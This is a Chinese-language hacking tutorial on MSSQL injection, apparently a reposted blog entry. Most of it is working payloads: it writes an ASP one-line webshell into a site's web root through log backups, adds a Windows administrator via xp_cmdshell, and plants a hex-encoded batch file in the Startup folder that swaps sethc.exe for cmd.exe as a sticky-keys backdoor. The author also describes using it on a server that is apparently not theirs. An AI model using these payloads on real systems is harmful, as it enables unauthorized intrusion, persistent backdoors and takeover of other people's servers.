MSSQL注入時的手工差別備份與提權 ___and___ 巧用差別備份DB_OWNER提權


 字符型web

 

1.恢復當前庫sql

;alter database 當前庫 set RECOVERY FULL--shell

 

2.建立表cmd數據庫

;create table cmd (a p_w_picpath)--服務器

 

3.備份當前庫到D:\cmd1ide

;backup log 當前庫 to disk = 'D:\cmd1' with init--測試

 

4.插入一句話代碼到建立的表cmdspa

;insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--ci

 

5.備份一句話代碼到站點根目錄cmd

;backup log 當前庫 to disk = 'D:\www_web\oct.asp'--

 

6.完成

';drop table 建立的表--

 

----------------------------------

 

數字型

 

1.恢復當前庫

';alter database 當前庫 set RECOVERY FULL--

 

2.建立表cmd

';create table cmd (a p_w_picpath)--

 

3.備份當前庫到D:\cmd1

';backup log 當前庫 to disk = 'D:\cmd1' with init--

 

4.插入一句話代碼到建立的表cmd

';insert into cmd (a) values ('<%%25**ecute(request("a"))%%25>')--

 

5.備份一句話代碼到站點根目錄

';backup log 當前庫 to disk = 'D:\www_web\oct.asp'--

 

6.完成

';drop table 建立的表--

 

--------------------------------

 

sa權限建立管理員用戶

 

1.判斷是否有注入;and 1=1 ;and 1=2 

;and user_name()='dbo' 判斷當前系統的鏈接用戶是否是sa

 

2.添加系統的管理員

;exec master.dbo.xp_cmdshell 'net user wk wk90 /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators wk /add';--

 

___________________________________________________________________________________________



巧用差別備份DB_OWNER提權


 

巧用差別備份DB_OWNER提權



獲得的DB_OWNER權限


想到的是差別備份



exec master..xp_dirtree c:,1,1



列目錄


/*利用Url或者sql查詢器Log備份一句話或Bat*/


 


alter database [master] set RECOVERY FULL--

create table cmd (a p_w_picpath)--

backup log [master] to disk = c:cmd1 with init--

insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202


F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65


7865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577


696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325


C646C6C63616368655C73657468632E657865202F790D0A)--

backup log [master] to disk = C:Documents and SettingsAdministrator「開始」菜單\程序啓動\start.bat--

drop table cmd--



分析下語句


第一句



alter database [master] set RECOVERY FULL--



master 是數據庫名字,通常db權限不行 換庫名吧



create table cmd (a p_w_picpath)--



這句的意思創建一個表,表裏面一個列,列的數據類型是p_w_picpath



backup log [master] to disk = c:cmd1 with init--



這句就是備份庫master裏面的log到c:cmd1


 


insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612


073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E65786520257


7696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255


C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655


C73657468632E657865202F790D0A)--



這句就是在剛纔創建的表cmd 列a 裏面插入數據



130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F61207


3657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577


696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E64697225


5C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C6361636865


5C73657468632E657865202F790D0A



16進制的批處理


處理原文是



@Echo off

@cd %windir%

@del dir /s /a sethc.exe

@copy %windir%system32cmd.exe %windir%system32sethc.exe /y

@copy %windir%system32cmd.exe %windir%system32dllcachesethc.exe /y



backup log [master] to disk = C:Documents and SettingsAdministrator「開始」菜單\程序啓動\start.bat--


這句就是備份庫master的log到啓動項start.bat


裏面有批處理



drop table cmd--



刪除表


而後等管理登錄3389啓動噢


我遇到的問題有


執行第二句的時間



create table cmd (a p_w_picpath)--



master提示拒絕沒有權限

不能沒建立表的權限就放棄吧

再想一想折,我有他db權限.找個空白弄下就ok不是


在庫test表test裏面找到一個沒數據的


這裏用到倆命令


刪除列



ALTER TABLE 表名 DROP COLUMN 列名



添加列



ALTER TABLE 表名 ADD 列名   VARCHAR(20)



我先執行了刪除test裏面的全部列


而後執行



ALTER TABLE test ADD a



而後用到的命令是



alter table

語句


網上找了幾個實例



引用

--try 

create table a 

name nvarchar(45), 

price decimal (19,4), 

charge varchar(10) 

一、nvarchar類型的長度都變爲60 

alter table a 

alter column name nvarchar(60) 

二、decimail類型的默認值變爲0,小數點後保留2位數 

--若默認值已存在先刪除後添加 delete constraint 約束名 

alter table a 

add constraint df_a_price default 0 for price


alter table a 

alter column price decimal(19,2) 

三、將因此varchar列示類型變爲Nvarchar 

alter table a 

alter column charge nvarchar(60)



我在這裏執行的是



alter table [test].[dbo].[test]

alter column a p_w_picpath



意思是改變庫test表test列a的數據類型是p_w_picpath



而後稍微改下命令



alter database [test] set RECOVERY FULL--

backup log [test] to disk = c:cmd1 with init--

insert into test (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F7


3202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642


E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F707920257


7696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6


C63616368655C73657468632E657865202F790D0A)--

backup log [test] to disk = C:Documents and Settingsadministrator「開始」菜單\程序啓動\start.bat--



執行成功返回



引用

已處理 2 頁,這些頁屬於數據庫 test 的文件 test_Log(位於文件 1 上)。

BACKUP LOG 操做成功地處理了 2 頁,花費了 0.125 秒(0.081 MB/秒)。


(所影響的行數爲 1 行)


已處理 1 頁,這些頁屬於數據庫 test 的文件 test_Log(位於文件 1 上)。

BACKUP LOG 操做成功地處理了 1 頁,花費了 0.095 秒(0.037 MB/秒)。



ok


看到這裏就成功了 而後看下


exec master..xp_dirtree C:Documents and Settingsadministrator「開始」菜單\程序啓動\,1,1


而後返回


 



成功了

哈哈等管理吧

這裏補充的我比較笨蛋.以上是我在本機測試很久的,備份有的庫有時間批量命令寫不進去的

那樣是沒有用的



這樣纔是成功的


大牛繞過呵呵,剛開始的時間想過放棄,不過一步一步摸索不懂的查gg,嘿,真搞定了.

搞這個不容易,他這個1433只針對一臺服務器開放,我費了好大事才搞定那個,而後朋友寫了個dll(端口映射,系統服務,比較方面,上3389很容易發現).

這才copy出表,本地能測試.

相關文章
相關標籤/搜索